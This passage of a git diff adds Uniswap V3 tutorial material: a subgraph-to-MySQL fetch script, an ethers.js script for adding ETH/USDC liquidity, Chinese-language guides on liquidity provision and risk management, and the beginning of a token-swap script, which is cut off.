+          connection.query('update trace set filter = ? where target = ?',[_timestamp_gt,'mints'], (err, results) => {
+            if(err){
+              console.log("update trace for mints failed :",err)
+            }
+          })
+          connection.end()
+          process.exit(0)
+        }else{
+          updateTrace()
+        }
+      },
+      error: error => console.log(`received error ${error}`),
+      complete: () => console.log(`complete`),
+    });
+  }
+
+
+ module.exports.doMintsFetch = function(){  
+  connection.query('select filter from trace where target = ?',['mints'],(err, results) => {
+    _timestamp_gt = results[0].filter
+    fetchMore()
+  })
+}
diff --git a/defi/Uniswap-V3/graphGuide/scripts/sqlVariables.json b/defi/Uniswap-V3/graphGuide/scripts/sqlVariables.json
new file mode 100644
index 000000000..ccbe3b153
--- /dev/null
+++ b/defi/Uniswap-V3/graphGuide/scripts/sqlVariables.json
@@ -0,0 +1,9 @@
+{
+    "_pool_id": "0x8ad599c3a0ff1de082011efddc58f1908eb6e6d8",
+    "_depositedToken1_gt": 300,
+    "_owner": "0xb893bd6c547e4def62c6155183af118a95c0c55f",
+    "host": "127.0.0.1",
+    "user": "root",
+    "password": "xxxx",
+    "database": "uniswap_subgraph"
+}
\ No newline at end of file
diff --git a/Learn-DEFI-Uniswap-V3/img/640.png b/defi/Uniswap-V3/img/640.png
similarity index 100%
rename from Learn-DEFI-Uniswap-V3/img/640.png
rename to defi/Uniswap-V3/img/640.png
diff --git a/defi/Uniswap-V3/img/create-pool.png b/defi/Uniswap-V3/img/create-pool.png
new file mode 100644
index 000000000..9c483c759
Binary files /dev/null and b/defi/Uniswap-V3/img/create-pool.png differ
diff --git a/defi/Uniswap-V3/liquidityGuide/add-liquidity.js b/defi/Uniswap-V3/liquidityGuide/add-liquidity.js
new file mode 100644
index 000000000..4fd2abd34
--- /dev/null
+++ b/defi/Uniswap-V3/liquidityGuide/add-liquidity.js
@@ -0,0 +1,264 @@
+/**
+ * Uniswap V3 添加流动性示例
+ * 使用ethers.js与Uniswap V3交互，在特定价格区间内添加流动性
+ */
+const { ethers } = require('ethers');
+const { Token } = require('@uniswap/sdk-core');
+const { Pool, Position, nearestUsableTick } = require('@uniswap/v3-sdk');
+const { abi: IUniswapV3PoolABI } = require('@uniswap/v3-core/artifacts/contracts/interfaces/IUniswapV3Pool.sol/IUniswapV3Pool.json');
+const { abi: INonfungiblePositionManagerABI } = require('@uniswap/v3-periphery/artifacts/contracts/interfaces/INonfungiblePositionManager.sol/INonfungiblePositionManager.json');
+const { abi: IERC20ABI } = require('@uniswap/v3-periphery/artifacts/contracts/interfaces/IERC20.sol/IERC20.json');
+require('dotenv').config();
+
+// 配置常量
+const INFURA_URL = process.env.INFURA_URL || 'https://mainnet.infura.io/v3/YOUR_INFURA_KEY';
+const WALLET_PRIVATE_KEY = process.env.PRIVATE_KEY || 'your_private_key_here';
+
+// Uniswap V3合约地址（以太坊主网）
+const NONFUNGIBLE_POSITION_MANAGER_ADDRESS = '0xC36442b4a4522E871399CD717aBDD847Ab11FE88';
+
+// 代币配置 - 以ETH/USDC为例
+const WETH_ADDRESS = '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2'; // 主网WETH地址
+const USDC_ADDRESS = '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48'; // 主网USDC地址
+const POOL_FEE = 3000; // 0.3%费率
+
+/**
+ * 主函数：添加流动性到Uniswap V3池
+ */
+async function addLiquidity() {
+  try {
+    // 1. 设置provider和wallet
+    const provider = new ethers.providers.JsonRpcProvider(INFURA_URL);
+    const wallet = new ethers.Wallet(WALLET_PRIVATE_KEY, provider);
+    console.log(`使用钱包地址: ${wallet.address}`);
+
+    // 2. 获取代币信息
+    const [token0, token1, poolAddress] = await getPoolInfo(provider);
+    
+    // 3. 获取池信息
+    const poolContract = new ethers.Contract(poolAddress, IUniswapV3PoolABI, provider);
+    const [liquidity, slot0] = await Promise.all([
+      poolContract.liquidity(),
+      poolContract.slot0()
+    ]);
+    
+    // 4. 创建Pool实例
+    const pool = new Pool(
+      token0,
+      token1,
+      POOL_FEE,
+      slot0.sqrtPriceX96.toString(),
+      liquidity.toString(),
+      slot0.tick
+    );
+    console.log(`当前池价格: ${pool.token0Price.toSignificant(6)} ${token0.symbol} per ${token1.symbol}`);
+    
+    // 5. 设置价格区间（当前价格的±5%）
+    const currentPrice = parseFloat(pool.token0Price.toSignificant(6));
+    const lowerPrice = currentPrice * 0.95;
+    const upperPrice = currentPrice * 1.05;
+    console.log(`设置价格区间: ${lowerPrice.toFixed(6)} - ${upperPrice.toFixed(6)} ${token0.symbol} per ${token1.symbol}`);
+    
+    // 6. 计算tick范围
+    const lowerTick = nearestUsableTick(
+      Math.log(lowerPrice) / Math.log(1.0001),
+      pool.tickSpacing
+    );
+    const upperTick = nearestUsableTick(
+      Math.log(upperPrice) / Math.log(1.0001),
+      pool.tickSpacing
+    );
+    
+    // 7. 创建Position实例
+    const position = new Position({
+      pool: pool,
+      liquidity: ethers.utils.parseEther('0.1'), // 流动性数量
+      tickLower: lowerTick,
+      tickUpper: upperTick,
+    });
+    
+    // 8. 计算需要的代币数量
+    const { amount0, amount1 } = position.mintAmounts;
+    console.log(`需要存入: ${ethers.utils.formatUnits(amount0, token0.decimals)} ${token0.symbol}`);
+    console.log(`需要存入: ${ethers.utils.formatUnits(amount1, token1.decimals)} ${token1.symbol}`);
+    
+    // 9. 授权代币给Position Manager
+    await approveTokens(
+      wallet,
+      [
+        { token: token0.address, amount: amount0.toString() },
+        { token: token1.address, amount: amount1.toString() }
+      ],
+      NONFUNGIBLE_POSITION_MANAGER_ADDRESS
+    );
+    
+    // 10. 添加流动性
+    const positionManager = new ethers.Contract(
+      NONFUNGIBLE_POSITION_MANAGER_ADDRESS,
+      INonfungiblePositionManagerABI,
+      wallet
+    );
+    
+    // 构建mint参数
+    const mintParams = {
+      token0: token0.address,
+      token1: token1.address,
+      fee: POOL_FEE,
+      tickLower: lowerTick,
+      tickUpper: upperTick,
+      amount0Desired: amount0.toString(),
+      amount1Desired: amount1.toString(),
+      amount0Min: 0, // 在生产环境中应设置最小值以防止滑点
+      amount1Min: 0,
+      recipient: wallet.address,
+      deadline: Math.floor(Date.now() / 1000) + 60 * 20 // 20分钟后过期
+    };
+    
+    // 发送交易
+    console.log('添加流动性中...');
+    const tx = await positionManager.mint(mintParams, { gasLimit: 5000000 });
+    console.log(`交易已发送: ${tx.hash}`);
+    
+    // 等待交易确认
+    const receipt = await tx.wait();
+    console.log(`交易已确认，区块号: ${receipt.blockNumber}`);
+    
+    // 解析事件获取NFT ID
+    const mintEvent = receipt.events.find(event => event.event === 'IncreaseLiquidity');
+    const tokenId = mintEvent.args.tokenId.toString();
+    console.log(`成功创建流动性头寸，NFT ID: ${tokenId}`);
+    
+    // 输出头寸信息
+    console.log('\n流动性头寸信息:');
+    console.log(`- 代币对: ${token0.symbol}/${token1.symbol}`);
+    console.log(`- 费率: ${POOL_FEE / 10000}%`);
+    console.log(`- 价格区间: ${lowerPrice.toFixed(6)} - ${upperPrice.toFixed(6)} ${token0.symbol} per ${token1.symbol}`);
+    console.log(`- 流动性: ${position.liquidity.toString()}`);
+    
+  } catch (error) {
+    console.error('添加流动性失败:', error);
+  }
+}
+
+/**
+ * 获取池信息和代币信息
+ */
+async function getPoolInfo(provider) {
+  // 创建代币实例
+  const chainId = (await provider.getNetwork()).chainId;
+  
+  const token0 = new Token(
+    chainId,
+    WETH_ADDRESS,
+    18,
+    'WETH',
+    'Wrapped Ether'
+  );
+  
+  const token1 = new Token(
+    chainId,
+    USDC_ADDRESS,
+    6,
+    'USDC',
+    'USD Coin'
+  );
+  
+  // 确保token0和token1按地址排序
+  const [tokenA, tokenB] = token0.address.toLowerCase() < token1.address.toLowerCase()
+    ? [token0, token1]
+    : [token1, token0];
+  
+  // 计算池地址 - 在实际应用中，您可以使用PoolAddress.computeAddress函数
+  // 这里为了简化，我们直接使用ETH/USDC 0.3%池的地址
+  const poolAddress = '0x8ad599c3A0ff1De082011EFDDc58f1908eb6e6D8'; // ETH/USDC 0.3%池
+  
+  return [tokenA, tokenB, poolAddress];
+}
+
+/**
+ * 授权代币给指定合约
+ */
+async function approveTokens(wallet, tokens, spender) {
+  for (const { token, amount } of tokens) {
+    const tokenContract = new ethers.Contract(token, IERC20ABI, wallet);
+    const allowance = await tokenContract.allowance(wallet.address, spender);
+    
+    if (allowance.lt(amount)) {
+      console.log(`授权 ${token} 给 ${spender}...`);
+      const tx = await tokenContract.approve(spender, ethers.constants.MaxUint256);
+      await tx.wait();
+      console.log(`授权成功: ${tx.hash}`);
+    } else {
+      console.log(`${token} 已有足够授权`);
+    }
+  }
+}
+
+/**
+ * 无常损失计算函数 - 实现风险管理指南中的公式
+ */
+function calculateImpermanentLoss(initialPrice, currentPrice) {
+  const priceRatio = currentPrice / initialPrice;
+  const sqrtRatio = Math.sqrt(priceRatio);
+  
+  // 使用风险管理指南中的公式: IL = 2 * √(P_current/P_initial) / (1 + P_current/P_initial) - 1
+  const il = (2 * sqrtRatio / (1 + priceRatio)) - 1;
+  
+  return il * 100; // 转换为百分比
+}
+
+/**
+ * 风险评估函数 - 基于风险管理指南中的模型
+ */
+function assessRisk(position, currentPrice, initialPrice, volatility) {
+  // 1. 计算无常损失风险 (0-40分)
+  const il = Math.abs(calculateImpermanentLoss(initialPrice, currentPrice));
+  const ilRisk = Math.min(il * 2, 40); // 无常损失每1%计2分，最高40分
+  
+  // 2. 计算范围外风险 (0-30分)
+  const lowerPrice = position.lowerPrice;
+  const upperPrice = position.upperPrice;
+  let rangeRisk = 0;
+  
+  if (currentPrice < lowerPrice || currentPrice > upperPrice) {
+    // 价格已经在范围外
+    rangeRisk = 30;
+  } else {
+    // 计算价格到边界的接近程度
+    const lowerDistance = (currentPrice - lowerPrice) / lowerPrice;
+    const upperDistance = (upperPrice - currentPrice) / currentPrice;
+    const minDistance = Math.min(lowerDistance, upperDistance);
+    
+    // 距离边界越近，风险越高
+    rangeRisk = 30 * (1 - Math.min(minDistance / 0.1, 1)); // 假设10%为安全距离
+  }
+  
+  // 3. 代币风险 (0-20分) - 这里简化处理
+  const tokenRisk = 10; // 假设中等风险
+  
+  // 4. 协议风险 (0-10分)
+  const protocolRisk = 5; // Uniswap经过多次审计，风险较低
+  
+  // 计算总风险分数 (0-100)
+  const totalRisk = ilRisk + rangeRisk + tokenRisk + protocolRisk;
+  
+  return {
+    totalRisk,
+    ilRisk,
+    rangeRisk,
+    tokenRisk,
+    protocolRisk,
+    riskLevel: totalRisk <= 20 ? '低风险' :
+               totalRisk <= 50 ? '中等风险' :
+               totalRisk <= 75 ? '高风险' : '极高风险'
+  };
+}
+
+if (require.main === module) {
+  addLiquidity()
+    .then(() => process.exit(0))
+    .catch(error => {
+      console.error(error);
+      process.exit(1);
+    });
+}
\ No newline at end of file
diff --git a/defi/Uniswap-V3/liquidityGuide/liquidity-provision-guide.md b/defi/Uniswap-V3/liquidityGuide/liquidity-provision-guide.md
new file mode 100644
index 000000000..02e1a0ec0
--- /dev/null
+++ b/defi/Uniswap-V3/liquidityGuide/liquidity-provision-guide.md
@@ -0,0 +1,198 @@
+# Uniswap 流动性提供指南
+
+## 简介
+
+Uniswap 是以太坊上最流行的去中心化交易所之一，它通过自动做市商(AMM)机制实现代币交换。作为流动性提供者，您可以通过向交易对提供资金来赚取交易费用。本指南将详细介绍 Uniswap V2 和 V3 的流动性提供机制，帮助您理解如何有效地参与并优化您的收益。
+
+## Uniswap V2 vs V3 流动性模型
+
+### Uniswap V2 流动性模型
+
+Uniswap V2 使用恒定乘积公式 `x * y = k`，其中：
+- `x` 和 `y` 是池中两种代币的数量
+- `k` 是一个常数
+
+特点：
+- 流动性均匀分布在 0 到 ∞ 的整个价格范围
+- 所有流动性提供者获得相同的费率
+- 资本效率较低，因为大部分流动性分布在很少使用的价格区间
+- 简单易用，适合初学者
+
+```solidity
+// Uniswap V2 添加流动性的简化代码
+function addLiquidity(
+    address tokenA,
+    address tokenB,
+    uint amountADesired,
+    uint amountBDesired,
+    uint amountAMin,
+    uint amountBMin,
+    address to,
+    uint deadline
+) external returns (uint amountA, uint amountB, uint liquidity);
+```
+
+### Uniswap V3 流动性模型
+
+Uniswap V3 引入了**集中流动性**的概念，允许流动性提供者在特定价格范围内提供流动性。
+
+特点：
+- 流动性提供者可以选择特定的价格范围
+- 资本效率提高高达 4000 倍
+- 多层级费用结构 (0.05%, 0.3%, 1%)
+- 非同质化代币 (NFT) 代表流动性头寸
+- 更复杂的管理和策略
+
+```solidity
+// Uniswap V3 添加流动性的简化代码
+function mint(
+    address recipient,
+    int24 tickLower,
+    int24 tickUpper,
+    uint128 amount,
+    bytes calldata data
+) external returns (uint256 amount0, uint256 amount1);
+```
+
+## 集中流动性的优势
+
+### 资本效率
+
+Uniswap V3 的集中流动性允许流动性提供者将资金集中在当前活跃的价格范围内，从而显著提高资本效率。例如：
+
+- 如果您预计 ETH/USDC 价格将在 $1,900-$2,100 之间波动，您可以将所有流动性集中在这个范围内
+- 与 V2 相比，相同金额的资本可以提供更多的流动性，从而获得更高的费用收入
+- 在相同交易量的情况下，集中流动性可以产生更高的年化收益率 (APR)
+
+### 自定义费率层级
+
+Uniswap V3 提供三种费率选项：
+
+1. **0.05%** - 适用于稳定币对（如 USDC/USDT）
+2. **0.3%** - 适用于常规代币对（如 ETH/USDC）
+3. **1%** - 适用于波动性较高的代币对
+
+选择合适的费率层级可以优化您的收益和风险。
+
+## 如何选择价格范围
+
+选择合适的价格范围是 Uniswap V3 流动性提供的关键。以下是一些策略：
+
+### 1. 基于历史波动率
+
+分析代币对的历史价格数据，确定价格通常波动的范围。例如，如果 ETH/USDC 在过去 30 天内的价格波动在 ±5% 之内，可以设置价格范围为当前价格的 ±7%，以覆盖可能的波动。
+
+### 2. 基于技术分析
+
+使用支撑位和阻力位来确定价格可能的上下限，并据此设置价格范围。
+
+### 3. 基于做市策略
+
+- **窄范围策略**：将流动性集中在非常窄的价格范围内，获得最高的资本效率，但风险较高
+- **中等范围策略**：在当前价格周围设置适中的范围，平衡资本效率和范围外风险
+- **宽范围策略**：设置较宽的价格范围，降低范围外风险，但资本效率较低
+
+## 流动性提供策略
+
+### 单一范围策略
+
+最简单的策略是创建一个单一的价格范围头寸。适合初学者和中小型投资者。
+
+### 多范围策略
+
+创建多个不同价格范围的头寸，以覆盖更广的价格波动。例如：
+
+- 50% 的资金在当前价格 ±5% 的范围内
+- 30% 的资金在当前价格 ±10% 的范围内
+- 20% 的资金在当前价格 ±20% 的范围内
+
+### 动态调整策略
+
+根据市场条件定期调整价格范围。这需要更多的管理，但可以优化收益。
+
+```javascript
+// 使用 Uniswap V3 SDK 创建流动性头寸的示例代码
+const position = Position.fromAmounts({
+  pool: pool,
+  tickLower: nearestUsableTick(lowerTick, TICK_SPACING),
+  tickUpper: nearestUsableTick(upperTick, TICK_SPACING),
+  amount0: amount0.toString(),
+  amount1: amount1.toString(),
+  useFullPrecision: true
+})
+```
+
+## 费用计算与收益分析
+
+### 费用计算公式
+
+Uniswap V3 中的费用计算比 V2 更复杂，因为它取决于您的流动性在总流动性中的占比，以及这些流动性在多大程度上被使用。
+
+简化的费用计算公式：
+
+```
+费用收入 = 交易量 × 费率 × (您的流动性 / 总流动性) × 价格范围利用率
+```
+
+其中，价格范围利用率是指价格在您设定的范围内的时间百分比。
+
+### 收益率估算
+
+年化收益率 (APR) 可以通过以下公式估算：
+
+```
+APR = (每日费用收入 × 365) / 提供的流动性价值
+```
+
+### 无常损失
+
+无常损失是指相比于简单持有资产，提供流动性可能导致的价值损失。在 Uniswap V3 中，无常损失可能更加显著，特别是对于窄范围的头寸。
+
+无常损失计算器：[Uniswap V3 IL Calculator](https://defi-lab.xyz/uniswapv3simulator)
+
+## 流动性风险管理
+
+### 范围外风险
+
+当价格移动到您设定的范围之外时，您的头寸将完全由一种代币组成，不再赚取交易费用。管理这种风险的策略包括：
+
+- 设置更宽的价格范围
+- 使用多范围策略
+- 定期重新平衡头寸
+
+### 智能合约风险
+
+尽管 Uniswap 的代码已经过多次审计，但智能合约总是存在潜在的漏洞风险。建议：
+
+- 不要投入超过您能承受损失的资金
+- 关注 Uniswap 的安全公告
+- 考虑使用 DeFi 保险产品
+
+### 监控工具
+
+定期监控您的头寸是至关重要的。一些有用的工具包括：
+
+- [Uniswap Info](https://info.uniswap.org/)
+- [DeBank](https://debank.com/)
+- [Zapper](https://zapper.fi/)
+- [APY.Vision](https://apy.vision/)
+
+## 实用工具与资源
+
+### 流动性管理工具
+
+- [Arrakis Finance](https://www.arrakis.finance/) - 自动化的 Uniswap V3 流动性管理
+- [Charm Finance](https://charm.fi/) - Alpha Vault 提供专业管理的 Uniswap V3 策略
+- [Gelato Network](https://gelato.network/) - 自动化重新平衡和范围调整
+
+### 分析工具
+
+- [Uniswap V3 Simulator](https://defi-lab.xyz/uniswapv3simulator) - 模拟不同价格范围的收益和风险
+- [Revert Finance](https://revert.finance/) - Uniswap V3 头寸分析和管理
+- [Dune Analytics](https://dune.xyz/) - Uniswap 数据分析仪表板
+
+### 学习资源
+
+- [Uniswap 官方文档](https://docs.uniswap.org/)
+- [Uniswap V3 白皮书](https://uniswap.org/whitepaper-v3.pdf)
+- [Uniswap V3 开发者文档](https://docs.uniswap.org/protocol/reference/periphery/libraries/LiquidityAmounts)
diff --git a/defi/Uniswap-V3/liquidityGuide/liquidity-risk-management-guide.md b/defi/Uniswap-V3/liquidityGuide/liquidity-risk-management-guide.md
new file mode 100644
index 000000000..1b49788a1
--- /dev/null
+++ b/defi/Uniswap-V3/liquidityGuide/liquidity-risk-management-guide.md
@@ -0,0 +1,331 @@
+# Uniswap V3 流动性风险管理指南
+
+## 简介
+
+Uniswap V3的集中流动性机制为流动性提供者带来了前所未有的资本效率和收益潜力，但同时也引入了更复杂的风险因素。
+
+## 无常损失深度解析
+
+### 无常损失基本原理
+
+无常损失(Impermanent Loss, IL)是AMM流动性提供中最重要的风险因素之一，指的是相比于简单持有资产，提供流动性可能导致的价值损失。
+
+在Uniswap V3中，由于流动性集中在特定价格区间，无常损失的计算和影响变得更加复杂。
+
+### 无常损失计算公式
+
+对于Uniswap V3中的集中流动性头寸，无常损失可以通过以下公式计算：
+
+```
+IL = 2 * √(P_current/P_initial) / (1 + P_current/P_initial) - 1
+```
+
+其中：
+- `P_initial` 是提供流动性时的价格
+- `P_current` 是当前价格
+
+对于集中流动性，还需要考虑价格区间因素：
+
+```
+IL_concentrated = IL * (L_full / L_concentrated)
+```
+
+其中：
+- `L_full` 是全范围流动性（如V2）
+- `L_concentrated` 是集中在特定区间的流动性
+
+### 价格区间与无常损失关系
+
+价格区间的宽度与无常损失之间存在重要关系：
+
+1. **窄价格区间**：提供更高的资本效率，但当价格波动时，无常损失更为显著
+2. **宽价格区间**：无常损失相对较小，但资本效率降低
+3. **单边区间**：当价格移动方向与您的预期一致时，可以减少无常损失，但如果方向相反，损失会更大
+
+### 无常损失模拟工具
+
+以下工具可以帮助您模拟不同情况下的无常损失：
+
+1. **DeFi Lab**：[https://defi-lab.xyz/uniswapv3simulator](https://defi-lab.xyz/uniswapv3simulator)
+2. **Uniswap V3 IL Calculator**：[https://uniswap.fish/calculator](https://uniswap.fish/calculator)
+3. **Revert Finance**：[https://revert.finance/#/calculator](https://revert.finance/#/calculator)
+
+## 价格区间风险管理
+
+### 价格区间选择策略
+
+选择合适的价格区间是管理Uniswap V3风险的核心。以下是几种策略：
+
+#### 1. 基于波动率的区间设置
+
+```javascript
+// 基于历史波动率设置价格区间的伪代码
+function calculatePriceRange(currentPrice, historicalVolatility, confidenceLevel) {
+    // 假设正态分布，计算标准差倍数
+    const zScore = getZScoreForConfidenceLevel(confidenceLevel);
+    
+    // 计算价格范围
+    const priceDeviation = currentPrice * historicalVolatility * zScore;
+    const lowerPrice = currentPrice - priceDeviation;
+    const upperPrice = currentPrice + priceDeviation;
+    
+    return { lowerPrice, upperPrice };
+}
+```
+
+对于不同的代币对和市场环境，可以使用不同的置信区间：
+- 稳定币对：95%置信区间（约±2倍标准差）
+- 主流代币对：90%置信区间（约±1.65倍标准差）
+- 高波动代币对：80%置信区间（约±1.28倍标准差）
+
+#### 2. 基于支撑/阻力位的区间设置
+
+利用技术分析识别关键的支撑位和阻力位，将价格区间设置在这些水平之间，可以提高区间内的时间比例。
+
+#### 3. 动态调整策略
+
+根据市场条件定期调整价格区间，可以使用以下触发条件：
+
+- **价格接近区间边界**：当价格接近区间边界的特定百分比（如80%）时调整
+- **波动率变化**：当市场波动率显著变化时重新计算区间
+- **定期重新平衡**：按固定时间间隔（如每周或每月）重新评估和调整
+
+### 多区间组合策略
+
+使用多个价格区间可以有效分散风险：
+
+```solidity
+// 多区间策略伪代码
+function deployMultiRangeStrategy(currentPrice) {
+    // 窄区间（±5%）- 40%资金
+    deployPosition(currentPrice * 0.95, currentPrice * 1.05, totalFunds * 0.4);
+    
+    // 中等区间（±15%）- 35%资金
+    deployPosition(currentPrice * 0.85, currentPrice * 1.15, totalFunds * 0.35);
+    
+    // 宽区间（±30%）- 25%资金
+    deployPosition(currentPrice * 0.7, currentPrice * 1.3, totalFunds * 0.25);
+}
+```
+
+这种策略的优势：
+- 在不同价格波动情况下都能保持部分有效流动性
+- 平衡资本效率和风险
+- 降低整体无常损失风险
+
+## 对冲策略
+
+### 期权对冲
+
+使用期权合约可以有效对冲无常损失风险：
+
+#### 1. 保护性看跌期权
+
+对于提供ETH/USDC流动性的LP，可以购买ETH的看跌期权来对冲ETH价格下跌的风险。
+
+```javascript
+// 期权对冲策略伪代码
+function calculateOptionsHedge(position) {
+    // 计算delta敞口
+    const deltaExposure = calculatePositionDelta(position);
+    
+    // 确定需要的期权数量
+    const optionsNeeded = -deltaExposure / optionDelta;
+    
+    return optionsNeeded;
+}
+```
+
+#### 2. 期权组合策略
+
+可以使用期权价差策略（如领口期权策略）来降低对冲成本：
+
+- 买入行权价为当前价格-10%的看跌期权
+- 卖出行权价为当前价格-20%的看跌期权
+
+这种策略可以在控制成本的同时提供有限的下行保护。
+
+### 永续合约对冲
+
+使用永续合约可以创建delta中性头寸：
+
+```javascript
+// 永续合约对冲伪代码
+function calculatePerpHedge(position) {
+    // 计算当前LP头寸的delta值
+    const positionDelta = getPositionDelta(position);
+    
+    // 确定需要的永续合约头寸大小（反向）
+    const perpSize = -positionDelta;
+    
+    return perpSize;
+}
+```
+
+### 动态对冲调整
+
+随着价格变动，LP头寸的delta值会发生变化，需要定期调整对冲头寸：
+
+1. **定期再平衡**：每日或每周检查并调整对冲头寸
+2. **触发式调整**：当delta值变化超过特定阈值（如10%）时进行调整
+3. **自动化执行**：使用Gelato Network等自动化工具执行对冲调整
+
+## 流动性监控与管理工具
+
+### 关键指标监控
+
+有效的风险管理需要持续监控以下关键指标：
+
+1. **价格相对于区间位置**：价格在区间内的位置百分比
+2. **费用APR**：当前年化费用收益率
+3. **无常损失**：当前头寸的估计无常损失
+4. **资本效率**：实际使用的资本比例
+5. **区间内时间比例**：价格在设定区间内的时间百分比
+
+### 专业监控工具
+
+以下工具可以帮助您监控和管理Uniswap V3头寸：
+
+1. **APY.Vision**：[https://apy.vision/](https://apy.vision/) - 提供详细的头寸分析和历史表现
+2. **Revert Finance**：[https://revert.finance/](https://revert.finance/) - 专注于Uniswap V3头寸管理
+3. **DeBank**：[https://debank.com/](https://debank.com/) - 综合DeFi投资组合跟踪
+4. **Zerion**：[https://zerion.io/](https://zerion.io/) - 用户友好的DeFi仪表板
+
+### 自动化管理解决方案
+
+以下协议提供自动化的Uniswap V3流动性管理服务：
+
+1. **Arrakis Finance**：[https://www.arrakis.finance/](https://www.arrakis.finance/) - 专业管理的Uniswap V3策略
+2. **Gamma Strategies**：[https://www.gamma.xyz/](https://www.gamma.xyz/) - 自动化的集中流动性管理
+3. **Charm Finance**：[https://charm.fi/](https://charm.fi/) - Alpha Vault提供主动管理的策略
+4. **Gelato Network**：[https://www.gelato.network/](https://www.gelato.network/) - 自动化执行工具
+
+## 不同市场环境下的风险管理策略
+
+### 低波动市场策略
+
+在低波动市场环境中：
+
+- **窄价格区间**：利用低波动性最大化资本效率
+- **高杠杆**：考虑使用借贷协议增加头寸规模
+- **高频再平衡**：频繁调整以保持最优区间
+
+### 高波动市场策略
+
+在高波动市场环境中：
+
+- **宽价格区间**：降低范围外风险
+- **多区间分层**：分散风险
+- **积极对冲**：使用期权或永续合约对冲风险
+- **降低杠杆**：减少借贷头寸
+
+### 趋势市场策略
+
+在明显趋势市场中：
+
+- **偏向趋势方向的区间**：例如在上升趋势中，设置上偏区间
+- **动态跟踪**：随着趋势发展调整区间
+- **单边流动性**：考虑只在趋势方向提供流动性
+
+## 风险评估框架
+
+### 综合风险评分模型
+
+可以使用以下模型对Uniswap V3头寸进行风险评估：
+
+```javascript
+// 风险评分模型伪代码
+function calculateRiskScore(position) {
+    // 1. 无常损失风险 (0-40分)
+    const ilRisk = calculateILRisk(position.priceRange, position.tokenVolatility);
+    
+    // 2. 范围外风险 (0-30分)
+    const rangeRisk = calculateRangeRisk(position.currentPrice, position.priceRange);
+    
+    // 3. 代币风险 (0-20分)
+    const tokenRisk = assessTokenRisk(position.token0, position.token1);
+    
+    // 4. 协议风险 (0-10分)
+    const protocolRisk = 5; // 固定值，Uniswap经过多次审计
+    
+    // 计算总风险分数 (0-100)
+    const totalRisk = ilRisk + rangeRisk + tokenRisk + protocolRisk;
+    
+    return {
+        totalRisk,
+        ilRisk,
+        rangeRisk,
+        tokenRisk,
+        protocolRisk
+    };
+}
+```
+
+风险评分解释：
+- 0-20：低风险
+- 21-50：中等风险
+- 51-75：高风险
+- 76-100：极高风险
+
+### 风险回报优化
+
+可以使用夏普比率(Sharpe Ratio)等指标评估风险调整后的收益：
+
+```javascript
+// 风险调整后收益计算伪代码
+function calculateRiskAdjustedReturn(position) {
+    // 计算预期年化收益率
+    const expectedReturn = estimateFeeAPR(position) - estimateIL(position);
+    
+    // 计算波动率（风险）
+    const risk = estimatePositionVolatility(position);
+    
+    // 计算夏普比率
+    const sharpeRatio = (expectedReturn - riskFreeRate) / risk;
+    
+    return sharpeRatio;
+}
+```
+
+## 高级风险管理技巧
+
+### 流动性预测与优化
+
+使用机器学习模型预测最优流动性分布：
+
+```python
+# 流动性优化伪代码 (Python)
+import numpy as np
+from sklearn.ensemble import RandomForestRegressor
+
+def optimize_liquidity_distribution(historical_data, current_market):
+    # 准备特征和目标变量
+    X = prepare_features(historical_data)
+    y = calculate_optimal_ranges(historical_data)
+    
+    # 训练模型
+    model = RandomForestRegressor()
+    model.fit(X, y)
+    
+    # 预测当前最优区间
+    current_features = extract_features(current_market)
+    optimal_range = model.predict(current_features)
+    
+    return optimal_range
+```
+
+### 流动性保险策略
+
+考虑使用DeFi保险产品保护您的流动性头寸：
+
+1. **Nexus Mutual**：提供智能合约漏洞保险
+2. **InsurAce**：提供无常损失保险
+3. **自保策略**：预留一部分收益作为风险准备金
+
+## 参考资源
+
+1. [Uniswap V3 白皮书](https://uniswap.org/whitepaper-v3.pdf)
+2. [Uniswap V3 开发者文档](https://docs.uniswap.org/protocol/reference/periphery/libraries/LiquidityAmounts)
+3. [Paradigm - Uniswap V3: The Universal AMM](https://www.paradigm.xyz/2021/06/uniswap-v3-the-universal-amm)
+4. [Topaze Blue - Understanding Uniswap V3 IL](https://topaze.blue/understanding-uniswap-v3-il)
+5. [Deribit - Options for Uniswap V3 LPs](https://insights.deribit.com/market-research/options-for-uniswap-v3-lps/)
diff --git a/defi/Uniswap-V3/liquidityGuide/swap-tokens.js b/defi/Uniswap-V3/liquidityGuide/swap-tokens.js
new file mode 100644
index 000000000..2a2ca6cbf
--- /dev/null
+++ b/defi/Uniswap-V3/liquidityGuide/swap-tokens.js
@@ -0,0 +1,206 @@
+/**
+ * Uniswap V3 代币交换示例
+ * 使用ethers.js与Uniswap V3 SwapRouter交互，执行代币交换
+ */
+
+const { ethers } = require('ethers');
+const { Token, CurrencyAmount, TradeType, Percent } = require('@uniswap/sdk-core');
+const { AlphaRouter, SwapType } = require('@uniswap/smart-order-router');
+const { abi: ISwapRouter02ABI } = require('@uniswap/v3-periphery/artifacts/contracts/interfaces/ISwapRouter.sol/ISwapRouter.json');
+const { abi: IERC20ABI } = require('@uniswap/v3-periphery/artifacts/contracts/interfaces/IERC20.sol/IERC20.json');
+require('dotenv').config();
+
+// 配置常量
+const INFURA_URL = process.env.INFURA_URL || 'https://mainnet.infura.io/v3/YOUR_INFURA_KEY';
+const WALLET_PRIVATE_KEY = process.env.PRIVATE_KEY || 'your_private_key_here';
+
+// Uniswap V3合约地址（以太坊主网）
+const SWAP_ROUTER_ADDRESS = '0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45'; // SwapRouter02地址
+
+// 代币配置 - 以ETH/USDC为例
+const WETH_ADDRESS = '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2'; // 主网WETH地址
+const USDC_ADDRESS = '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48'; // 主网USDC地址
+
+/**
+ * 主函数：使用Uniswap V3执行代币交换
+ */
+async function swapTokens() {
+  try {
+    // 1. 设置provider和wallet
+    const provider = new ethers.providers.JsonRpcProvider(INFURA_URL);
+    const wallet = new ethers.Wallet(WALLET_PRIVATE_KEY, provider);
+    console.log(`使用钱包地址: ${wallet.address}`);
+    
+    // 2. 获取代币信息
+    const chainId = (await provider.getNetwork()).chainId;
+    const weth = new Token(chainId, WETH_ADDRESS, 18, 'WETH', 'Wrapped Ether');
+    const usdc = new Token(chainId, USDC_ADDRESS, 6, 'USDC', 'USD Coin');
+    
+    // 3. 设置交易参数
+    const amountIn = '0.01'; // 交换0.01 ETH
+    const tokenIn = weth;
+    const tokenOut = usdc;
+    
